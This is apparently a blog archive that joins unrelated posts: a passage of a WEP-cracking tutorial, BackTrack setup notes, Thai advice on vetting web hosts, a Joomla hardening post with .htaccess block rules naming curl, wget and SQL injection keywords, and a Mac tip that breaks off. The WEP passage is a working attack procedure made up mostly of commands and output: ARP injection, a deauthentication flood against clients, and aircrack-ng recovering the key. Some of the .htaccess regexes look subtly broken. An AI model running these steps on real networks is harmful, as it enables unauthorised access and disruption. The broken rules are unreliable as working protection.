-o 1 = only send one set of packets at a time

-q 12= send keepalive packets every 12 seconds   (sometimes, it works better without this last parameter)

From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.

Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i   or  –ivs):

root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1

CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24                                         

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34 100      135        0    0  11  54 . WEP  WEP    OPN  TestNet                                               

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   43   0- 1     10       84  TestNet

The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.

First, launch aireplay-ng in injection mode :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:26:55  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-142655.cap
You should also start airodump-ng to capture replies.
Read 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it might help trying to associate yourself again :

aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1

If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client…)

Keep the aireplay-ng and airodump-ng running and run the deauth attack.

root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1
14:38:15  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:38:15  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:16  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:18  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]

If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:39:08  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-143908.cap
You should also start airodump-ng to capture replies.
Redd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)

 

At the same time, you should start to see the number of data packets increasing rapidly :

CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ]                                          

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34  97     4582    41799  814  11  54 . WEP  WEP    OPN  TestNet

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     46     2495  TestNet
00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   34  54- 1      0    51017  TestNet

For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets.  However you don’t need to wait until you’ve gathered all those packets. You can already try to break the key using the ivs file that is being generated.  As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.

By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot.  So if your coverage is good, signal is strong, and the injection works well, it may go very fast.

root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivs
Opening /tmp/TestNetAudit1-01.ivs
Reading packets, please wait...

Aircrack-ng 1.0 rc2 r1415

[00:00:01] Tested 865 keys (got 140507 IVs)

   KB    depth   byte(vote)
    0    0/  1   A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)
    1    0/  9   EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)
    2    0/  1   D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)
    3    7/  3   AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)
    4   13/  4   DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238) 

             KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]
        Decrypted correctly: 100%

If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.

If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.

In my case, the key was cracked in 1 second.  The total process took about 10 minutes.

The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104

(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)

Linux Backtrack Commands Basic Usage ! (คำสั่งเบื้องต้น)

Once the installation of BackTrack is done, the default username and password required to log in are root / toor.

NOTE: You will not be able to see the password as you type it.

Starting a GUI Environment

After you are logged in you can start the GUI Environment by issuing the startx command.

X wont start!

In rare occasions (such as after a VMware tools install, or when using unsupported Video cards), X will refuse to start. If that happens you have several options you can try in order to fix the issue:

  • Reconfiguring the X server package, you can reset (and often fix) Xorg configurations with the following command:
   root@bt:~# dpkg-reconfigure xserver-xorg
  • If you are using Backtrack 5 on x64 with KDE you should try the following:
   root@bt:~# rm /root/.kde/cache-*

NOTE: Sometimes you may need to also remove the cache folders in /var/tmp by issuing the following command:

   root@bt:~# rm -rf /var/tmp/kdecache-*

Getting Networking to work

If you haven’t noticed yet BackTrack does not boot with networking by default in order to increase its stealth.

Setting your IP manually

We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:

   IP Address      -  192.168.1.112/24
   Default Gateway -  192.168.1.1
   DNS server      -  192.168.1.1

In order to set these up we will run the following commands:

root@bt:~# ifconfig eth0 192.168.1.112/24
root@bt:~# route add default gw 192.168.1.1
root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf

 

Getting a static IP to stick between reboots

These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5). 

# The loopback network interface 
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
        address 192.168.1.112
        netmask 255.255.255.0
        network 192.168.1.0
        broadcast 192.168.1.255
        gateway 192.168.1.1

Edit the file as appropriate, then have the network come up automatically at boot time:

root@bt:~# update-rc.d networking defaults
root@bt:~# /etc/init.d/networking restart

Getting an IP from DHCP

In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:

root@bt:~# dhclient eth0
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/

Listening on LPF/eth0/00:0c:29:81:74:21
Sending on   LPF/eth0/00:0c:29:81:74:21
Sending on   Socket/fallback
DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67
DHCPACK of 192.168.1.112 from 192.168.1.1
bound to 192.168.1.112 -- renewal in 37595 seconds.
root@bt:~#

Using the script to start networking

There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you don’t need). To start it issue the following command:

root@bt:~# /etc/init.d/networking start

WICD Network Manager

Another way to set up your networking is using the WICD Network Manager, you can find it in the menu:

Menu > Internet > Wicd Network Manager

NOTE: Notice that when starting WICD you will get an error:

Wicd error.png
In order to get rid of this error you have to reboot Backtrack, than BEFORE starting WICD open up a terminal and type in the following:

root@bt:~# dpkg-reconfigure wicd
root@bt:~# update-rc.d wicd defaults

Now after a reboot the error should not occur anymore.

Changing the root password

As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command:

root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully root@bt:~#

 

Starting services

BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:

root@bt:~# sshd-generate  # Specific to the SSH service - needed to generate SSH keys
root@bt:~# /etc/init.d/ssh start
Starting OpenBSD Secure Shell server: sshd.
root@bt:~# /etc/init.d/ssh stop 
Stopping OpenBSD Secure Shell server: sshd.
root@bt:~#

When using a ssh server for the first time on Backtrack you will need to generate keys:

root@bt:~# sshd-generate

To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:

root@bt:~# update-rc.d -f ssh defaults
 Adding system startup for /etc/init.d/ssh ...
  /etc/rc0.d/K20ssh -> ../init.d/ssh
  /etc/rc1.d/K20ssh -> ../init.d/ssh
  /etc/rc6.d/K20ssh -> ../init.d/ssh
  /etc/rc2.d/S20ssh -> ../init.d/ssh
  /etc/rc3.d/S20ssh -> ../init.d/ssh
  /etc/rc4.d/S20ssh -> ../init.d/ssh
  /etc/rc5.d/S20ssh -> ../init.d/ssh
root@bt:~#

 

Common apt commands

apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them.

apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. –purge specifies that packages should be purged.

apt-get update Updates packages listings from the repo, should be run at least once a week.

apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week.

apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies.

apt-cache search <pattern> Searches packages and descriptions for <pattern>.

apt-cache show <package> Shows the full description of <package>.

apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages.

man apt Will give you more info on these commands as well as many that are in less common usage.

 

Common dpkg commands

dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example.

dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file.

dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file.

dpkg -r <package> Removes an installed package named <package>

dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition.

dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.

dpkg -s <package> Shows information on the installed package <package>. See also apt-cache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file.

dpkg-reconfigure <package> Reconfigures an installed package

man dpkg Will give you more info on these commands as well as many that are in less common usage.

 

How do I find more information on a particular command or programs usage ?

Most commands will have what is called a man page (manual page) which can be viewed by typing:

root@bt:~# man <command you want more info on>

Another very good resource on linux command usage can be found at linuxcommand.org

Some programs do not have a man page, but you can usually get more information on it’s usage by typing:

root@bt:~# <program name> Just the program name without any arguements.

or

root@bt:~# <program name> -help

or

root@bt:~# <program name> --help

or

root@bt:~# <program name> -h

Some programs use other methods, but they are usually just a variation of one of the above five commands.

ระวังการโกงของผู้ให้บริการ”โฮสติ้ง”และแนะนำวิธีการเลือก

เทคนิคและกลวิธีในการเลือกใช้งาน Web Hosting รวมถึงการจับกลโกงและสารพัดเทคนิคที่เว็บโฮสติ้งสมัยนี้ ใช้หลอกลูกค้ากันครับ

1. บริษัทที่จดทะเบียนถูกต้อง ไม่ได้หมายความว่าจะเป็นบริษัทที่เชื่อถือได้ หรือจะอยู่กับเราไปตลอดรอดฝั่ง เพราะธุรกิจ web hosting มีไม่น้อยที่ทำแล้ว พูดได้ว่าเจ้ง หรือขาดทุน อยู่ไม่ถึงปี มีให้เห็นเยอะแยะ ถึงจะเป็นบริษัทที่จดทะเบียนถูกต้อง เค้าก็สามารถปิดกิจการหรือหนีไปกันดื้อๆก็ได้ แล้วการจดทะเบียนบริษัท ก็ทำได้ง่ายมาก ครั้นจะไปตามทวงเงินไม่กี่พัน กับการจ้างทนายความ ส่วนใหญ่ก็ไม่มีใครทำกันอยู่แล้ว มีออฟฟิศสวยหรู ก็ไม่ได้รับประกันว่าจะมีกำไร หรือเป็นเว็บโฮสที่ดี แต่ในการกลับกัน กลายเป็นการเพิ่มต้นทุนที่มากขึ้นเท่านั้น

แต่ทุกวันนี้ web hosting ทุกที่ก็แทบจะจดทะเบียนบริษัทถูกต้องแล้วทั้งนั้น แล้วจะทำยังไงดี อ่านไปเรื่อยๆเลยครับ

2. เมื่อเข้าไปใหนหน้าเว็บของบริษัท หรือเว็บโฮสนั้นๆ หาดูตรงรายชื่อลูกค้าของเรา แน่นอน ทุกบริษัทมักจะโม้ โอ้อวด บรรยายสรรพคุณต่างๆนาๆ ว่าลูกค้าของเรา มีเป็นร้อยเป็นพัน ทั้งภาครัฐและเอกชน (พูดให้ดูน่าเชื่อถือ) พร้้อมทั้งมีรายชื่อให้เราดู เพื่อให้เรารู้สึกมั่นใจ เชื่อใจมากยิ่งขึ้น แต่นั่น กลับกลายเป็นหลุมฝังให้บริษัทนั้นเลยล่ะ เพราะอะไรเหรอ? Frank W. Abagnale ยอดนักต้มตุ๋นระดับโลกเคยบอกไว้ว่า ยิ่งดูน่าเชื่อถือเท่าไร ยิ่งหลอกได้ง่ายขึ้นเท่านั้น

วิธีตรวจสอบง่ายมาก ที่ใหนที่ลงแค่ชื่อบริษัทอย่างเดียว ไม่มี url ลูกค้าบอกกำกับให้คลิ้กเข้าไป อย่าไปใช้บริการของเค้าเด็ดขาด!! เพราะชื่อบริษัท ใครๆก็เขียนได้ อยากจะเขียนสัก 2-3 พัน บริษัทก็ทำได้ ลอกมาจากสมุดหน้าเหลือง หรือกรมพานิชย์เลยครับ ยิ่งที่ใหนเขียนหรือบอกว่ามีลูกค้าเกิน 500 ราย แต่เปิดมาไม่ถึง 5 ปีนี่ ตัดออกไปได้เลย โกหกแน่นอน แต่เดียวก่อน ถ้าเราอยากพิสูจน์ หรืออาจจะเป็นจริงก็ได้ ทำไงดีล่ะ? อ่านต่อเลยครับ

3. หาเว็บโฮสติ้งที่ลง url ของลูกค้าที่ให้คุณคลิ้กไปดูได้แทนครับ แต่แค่นี้ยังไม่พอ! เราต้องตรวจสอบด้วยว่า ไอ้ url ลูกค้าที่เขียนๆมาน่ะ มันลูกค้าของเค้าจริงหรือป่าว? ไม่ใช่ว่าไปมั่วเอาของคนอื่นมาใส่ โมเมหลอกลูกค้าไปวันๆ หรือชื่อลูกค้าที่เขียนมากว่าครึ่ง ปัจจุบันเค้าย้ายออกไปที่อื่นหมดแล้ว
เรามีวิธีตรวจสอบมีดังนี้ครับ

เข้าไปที่เว็บ http://www.robtex.com/route/ หรือบริการตรวจสอบ IP/dns ของอะไรก็ได้ หรือจะใช้ ping ง่ายๆก็ได้ จากนั้นลองใส่ชื่อลูกค้าที่เค้าเขียนมาลงไปสัก 4-5 อัน แล้วแต่ความขยันของเรา ถ้า IP เหมือนกันหมด หรือต่างกันไม่เกิน 3 IP (หรืออาจจะต่างกันมากกว่านั้นมีหลาย server) และควรอยู่ใน subnet เดียวกัน หรือใกล้ๆกัน แสดงว่าเป็นลูกค้าของเค้าจริงครับ ให้ดู IP และ ns/mx record ด้วยนะครับ

ตรงนี้อาจจะต้องสอบถามทางโฮสด้วยว่าเค้ามี server ทั้งหมดกี่เครื่อง (เรายังมีวิธีตรวจสอบอีก ว่ามันโม้หรือปล่าว)

ตรงนี้ ถ้าคุณเจอเว็บลูกค้าที่ไม่ใช่ IP ของบริษัทโฮสติ้งนั้นๆละก็ เสียคนแน่ครับ นำมาประจานให้คนอื่นๆทราบด้วยก็จะดี จะได้ไม่ถูกหลอก ถือว่าหลอกหลวง เอาชื่อเว็บอื่นมาแอบอ้างว่าเป็นลูกค้า และจริงๆแล้วมีความผิดตามกฏหมายด้วย แต่ผมก็ยังไม่เคยเห็นใครแจ้งจับ หรือถูกจับเลย อืม..

4. พอเราตรวจเว็บลูกค้าของเค้าว่าเป็นลูกค้าจริงๆแล้ว ให้ลองดูเว็บที่มีคนเข้าเยอะๆหน่อย ยิ่งเยอะยิ่งดี ยิ่งดังยิ่งดี ให้พยายามหาเบอร์ติดต่อเลยครับ สอบถามว่าทางเว็บใช้โฮสของอะไร (ถามอีกครั้งเพื่อความแน่ใจ) แล้วสอบถามคุณภาพ การบริการ ประวัติย้อนหลังครับ ตรงนี้อาจจะไม่จำเป็นมาก ถ้าเราใช้ทำ web เล็กๆ คนเข้าไม่เยอะ หรือเน้นประหยัด แต่ถ้าคิดใช้นานๆ ราคาสูง ใช้เนื้อที่มากๆ ให้ความสำคัญมากหน่อย ก็ทำได้ก็ดีครับ

5. จำนวนลูกค้าที่ทางบริษัทหรือโฮสติ้งเขียนเอาไว้ก็สำคัญครับ บางที่ที่ผมบอกว่ายิ่งโม้เยอะ ยิ่งกลายเป็นหลุมฝั่งตัวเองนั่นล่ะ ทำไมเหรอครับ ก็ถ้าสมมุติว่าเค้ามี server 2 เครื่อง (โดยทั่วไปๆ แบ่งเป็น Windows 1 และ Linux 1 เครื่อง) แต่บอกว่ามีลูกค้า 500 รายหรือมากกว่า ซึ่งเท่ากับ server ละ 250 web ถามว่าถ้าเป็นจริง คุณอยากจะเข้าไปอยู่ใน server นั้นเป็น web ที่ 251 มั้ยล่ะ? ช้าตายเลยครับ ปกติแล้ว server 1 ตัวแรงๆเลย เค้ายอมรับกันได้ที่ประมาณไม่เกิน 100 เว็บ หรือมากน้อยกว่านั้นตามการใช้งาน หรือ ถ้ามีเว็บใหญ่ๆอยู่ด้วย ยิ่งที่ใหนเขียนไว้เกิน 500 ราย คุณหาที่อื่นได้เลยครับ ถ้าไม่โกหก หรือมี server มากกว่า 5 เครื่อง ก็เดาว่าคุณภาพต้องต่ำมากแน่ๆ

6. วิธีตรวจสอบว่ามี server จริงๆกี่เครื่อง เป็นรุ่นอะไร IP อะไร ไม่ยาก ขอดูใบเสร็จเลยครับ ให้เค้า fax มาให้ก็ได้ และมีรูปถ่ายด้วยก็จะดีมาก แต่ในรูปควรจะมี IP กำกับหน้าเครื่องหรือชื่อบริษัทด้วยนะ! ไม่ใช่ไปถ่าย server คนอื่นมา เว็บใหนไม่มีรูปถ่าย หรือไม่มีใบเสร็จ แสดงว่าใช้เครื่อง PC ธรรมดามาทำเป็น server ครับ หรืออาจจะโม้เสปคเกินจริง อันนี้ถือว่าใช้ไม่ได้ คืออาจจะพอใช้ได้ แต่การนำ PC หรือแม้แต่ server คุณภาพต่ำ หรือสเปคต่ำมาใช้ มันจะมีผลเสียในระยะยาวครับ สัก 1 ปีขึ้นไป อุปกรณ์หลายๆตัวจะเริ่มเสีย ส่งผลให้เว็บล่มหรือ down บ่อย เพราะไม่ได้ออกแบบมาให้ใช้งานหนักตลอด 24 ชั่วโมง

7. ดูราคาค่าบริการก็สำคัญ ค่าบริการในจุดคุ้มทุนตรงนี้จะขึ้นอยู่กับ คุณภาพของ server และค่าเช่า bandwidth/colocation/ISP ประกอบกัน ที่ใหนให้ราคาถูก ก็ย่อมมีคุณภาพที่ลดลงไปตามราคา แต่ก็ไม่ใช่ว่าแพงแล้วจะดี แพงกว่าแต่ห่วยเหมือนกันก็มีเยอะ ตรงนี้ต้องดูหลายๆอย่างประกอบกัน เช่น บอกว่าใช้ server XEON รุ่น top 2 cpu + hot swap scsi320 + dual power supply เรียกว่า server ราคาเกือบ 2 แสน แต่ค่าบริการเดือนละ 1-3 ร้อยบาท ต่อ 500MB อันนี้ให้คิดว่ามีลับลมคมใน หรือมีบางอย่างไม่ชอบมาพากลไว้ก่อน เพราะ server ราคา 1.5-2 แสน (อาทิพวก HP,DELL, IBM) ควรจะมีรายได้จากลูกค้ามากกว่า 3 หมื่นบาทต่อเดือน ถ้าคิดแค่ 1-3 ร้อย ถามว่าต้องมีกี่เว็บต่อ server ล่ะครับ? นี่ยังไม่ได้คิดกำไร หรือค่าใช้จ่ายอื่นๆนะ! ยิ่งพวกราคา 59 บาท 99 บาท เนื้อที่ 1GB นี่ผมบอกตรงๆนะ ไม่กล้าจะใช้บริการครับ ถ้าใช้ทำเว็บเก็บรูปส่วนตัวอ่ะ พอได้อยู่

พูดง่ายๆก็คือ ราคาต้องเหมาะสมกับคุณภาพ หรือสรรพคุณที่แจ้งไว้! แต่ต้องมั่นใจด้วยว่าอุปกรณ์หรือสรรพคุณที่แจ้งไว้ เป็นความจริง!

8. ประสบการณ์และเวลาที่ประกอบธุรกิจมาก็สำคัญ แต่ก็ต้องดูด้วยว่าไอ้ที่เปิดมานานๆ มีลูกค้าเยอะๆแล้วเนี่ย server ได้อัพเกรดบ้างหรือปล่าว ซอฟแวร์ได้อัพเกรดบ้างมั้ย หรือเข้าเว็บช้า อืด เพราะอัดลูกค้าเข้าไปเยอะหรือปล่าว ตรงนี้ก็พูดยากว่าเปิดมานานกว่าแล้วดีกว่า หาทางสอบถามลูกค้าของโฮสนั้นๆได้ก็จะดีเลยกว่าครับ

9. ตรวจสอบ software ในระบบดูด้วยว่ามีการอัพเดตบ้างหรือปล่าว บางที่ใช้ php 4.3 (ล่าสุดเป็น 4.4.7 ณ.เดือนกันยายน 2550) อยู่ก็ถือว่าเก่ามากๆ ไม่ควรจะเก่าเกิน 6 เดือนเป็นอย่างต่ำ หรือใช้ mysql 4.0.x ที่เก่ามากๆ (ล่าสุดเป็น 4.1.22 และ 5.0.45 เช็คได้จาก www.mysql.com หรือเว็บของบริษัทนั้นๆ)

ถามว่าทำไมถึงควรจะเป็นเวอร์ชั่นล่าสุด? เพราะว่าซอฟแวร์ทุกตัวมันจะมี bug เสมอครับ รวมไปถึงช่องโหว่ด้านความปลอดภัยต่างๆ หากคุณลองอ่าน release note หรือ document ของ php และ mysql ย้อนหลังดู มักจะมีการแก้บัก ช่องโหว่ รวมไปถึงการปรับปรุงประสิทธิภาพให้ดียิ่งขึ้น รองรับมาตรฐานใหม่ๆ เป็นต้น อย่างตอนนี้ ทาง php ก็ประกาศออกมาแล้วด้วยว่า ภายใน 1 ปีข้างหน้า จะเลิก support php เวอร์ชั่น 4 แล้ว แล้วจะพยายามผลักดันให้ใช้ php5 ขึ้นไปแทน เมื่อรู้อย่างนี้แล้ว รีบเช็ค hosting ที่คุณใช้อยู่ หรือที่คุณกำลังมองหาอยู่ด้วยล่ะ

10. สอบถามถึงความถี่ในการ backup ข้อมูลไปยังแหล่งอื่น อาทิ tape backup/ storage drive/server สำรอง หรืออะไรก็แล้วแต่ แต่ตรงนี้ตรวจสอบยากครับ อาจจะขอ logs เค้าดูหรือ schedule logs ก็ได้

nitrous123 :  citec.us

ป้องกันการแฮก Joomla ด้วย jHackGuard

การโดนแฮกเป็นสิ่งไม่น่าพิศมัยนัก ถ้าเราป้องกันได้ก็จะอุ่นใจได้บ้าง การโดนแฮกสามารถโดนได้หลายทาง เช่น

  • ไปติดโทรจันมาจากเว็บอื่น แล้วโดนขโมยข้อมูล Ftp ของเว็บ
  • ใช้จูมล่า แล้วไม่อัพเดต เป็นรุ่นใหม่ หรือ ลงคอมโพเน้น โมดูลไป ไม่ตามอัพเดต ก็เป็นช่องทางให้ Hacker เข้ามาเจาะระบบได้
  • Hosting ที่ใช้มีการตั้งค่าที่ไม่ปลอดภัย

วันนี้จะมาแนะนำ plugin ของ joomla! ชื่อ jHackGuard ของ เว็บ SiteGround ซึ่ง เขียนมาจากประสบการณ์ที่เขาดูแลเว็บที่เป็นจูมล่าบนโฮสเขาเองซึ่ง jHackGuard จะเป็นด่านป้องกันเว็บที่ทำด้วยจูมล่า

ป้องกันอะไรบ้าง

  • SQL Injections
  • Remote URL/File Inclusions
  • Remote Code Executions
  • XSS Based Attacks!

การติดตั้ง

เมื่อติดตั้งเสร็จก็ เปิดใช้งานแค่นี้ครับ ได้แล้ว

โหลดได้ที่ http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/13233?qh=YToxOntpOjA7czoxMDoiamhhY2tndWFyZCI7fQ%3D%3D

 

หรืออยากได้เร็ว

http://www.colorpack.net/images/jhackguard.zip

 

แถม เพิ่มความมั่นใจอีกชั้นด้วย การป้องกันที่ .htaccess เพิ่ม code ลงไป ที่ไฟล์ .htaccess หลังจากบันทัดที่มีคำว่า

########## End - Joomla! core SEF Section

เพิ่ม code ด้านล่างลงไป

ServerSignature Off
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER} ^(.*)(<|>|?|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE} ^.*(<|>|?|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|?>|?<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|?|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

#Block mySQL injects
RewriteCond %{QUERY_STRING} ^.*(;|<|>|?|?|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(<|>|?|%0A|%0D|%27|%3C|%3E|%00).* [NC]

RewriteCond %{QUERY_STRING} proc\/self\/environ [OR]

 

 

ที่มา http://www.joomlacorner.com/article/15-plugin-joomla/554-protect-hack-joomla-jhackguard.html

แก้ Apple Mac อืดช้า น่ารำคาญ ด้วยการพิฆาต PR

หลังจากช่วงหยุดยาวได้ปล่อยทิปเกี่ยวกับ 32 เรื่องต้องรู้เกี่ยวกับ Notebook และก็ได้รับฟีดแบคกลับมาดี กลับมาวันนี้ขอเปลี่ยนบรรยากาศมากับทิปแนว Mac กันบ้าง หลังจากที่พี่มิ้งค์ได้ลองใช้เครื่องแมคมาสักระยะหนึ่ง ก็ได้ประสบการณ์ในแบบที่เรียกว่าแปลกใหม่ เพราะจากเดิมที่ใช้ Windows มาจนคุ้นชิน

เมื่อต้องเปลี่ยนมาเป็นแมค ก็เกิดอาการสะดุดบ้าง แต่พอใช้ไปสักพักก็เริ่มเข้าที่ จนมาช่วงก่อนหยุดสงกรานต์แมคบุ๊กตัวเก่งก็เกิดอาการแปลกๆ ทุกสิ่งทุกอย่างกลายเป็นโหมด -Slow motion คลิกอะไร หรือเขาเว็บไหน ก็ต้องใช้เวลานานมาก แรกๆ ก็ตั้งสมมติฐานว่า น่าจะมาจากการที่พี่มิ่งค์ติดตั้งซอฟต์แวร์ประเภท Virtual Drive สำหรับลงวินโดวส์ (เนื่องจากยังมีงานบางส่วนที่ยังต้องทำบนวินโดวส์) จึงตัดสินใจลบโปรแกรมดังกล่าวออก แต่ก็ไม่ช่วยให้มันเร็วขึ้นอยู่ดี

การตัดสินใจต่อมาพี่มิ้งค์ใช้ไม่ตายด้วยการฟอร์แมตเครื่องใหม่ ผลปรากฏว่า “ช้า”เหมือนเดิม
ถึงตรงนี้คิดว่าคงต้องปรึกษาผู้เชี่ยวชาญ จึงตัดสินใจยกเครื่องไปที่ร้าน iStudio สาขา เอสพละหนาดรัชดา

พอเข้าไปถึงเจ้าหน้าที่ก็จัดแจงจัดระเบียบข้อมูลในฮาร์ดดิสก์ใหม่ (คลิกที่เมนู Go -> Utility -> Disk Utility) นั่งรอกันหลายอึดใจ จนต้องฝากเครื่องเพื่อแว๊บไปเข้าห้องน้ำ กลับมาอีกครั้งก็จัดระเบียบข้อมูลฮาร์ดดิสก์เสร็จพอดี

สิ่งที่ทำต่อมาคือการเคลียค่า PR หรือการล้างข้อมูลที่ค้างอยู่ในส่วนของหน่วยความจำ เนื่องจากแรมในเครื่องแมคจะทำงานต่างกับ แรมในคอมพิวเตอร์พีซีที่เราคุ้นเคย เพราะแรมในพีซีจะเคลียออกหมดทุกครั้งที่เราปิดเครื่อง (ด้วยเหตุนี้เวลาเครื่องแฮงค์ ก็เลยต้องปิดเครื่องแล้วเปิดใหม่) ในขณะที่แรมของแมคจะยังคงค้างอยู่แม้จะปิดเครื่องแล้วก็ตาม นั่นก็หมายความว่า หากมีโปรแกรมเปิดค้างอยู่ในแรมเพิ่มขึ้นเรื่อยๆ ก็จะทำให้เครื่องมันช้าลง

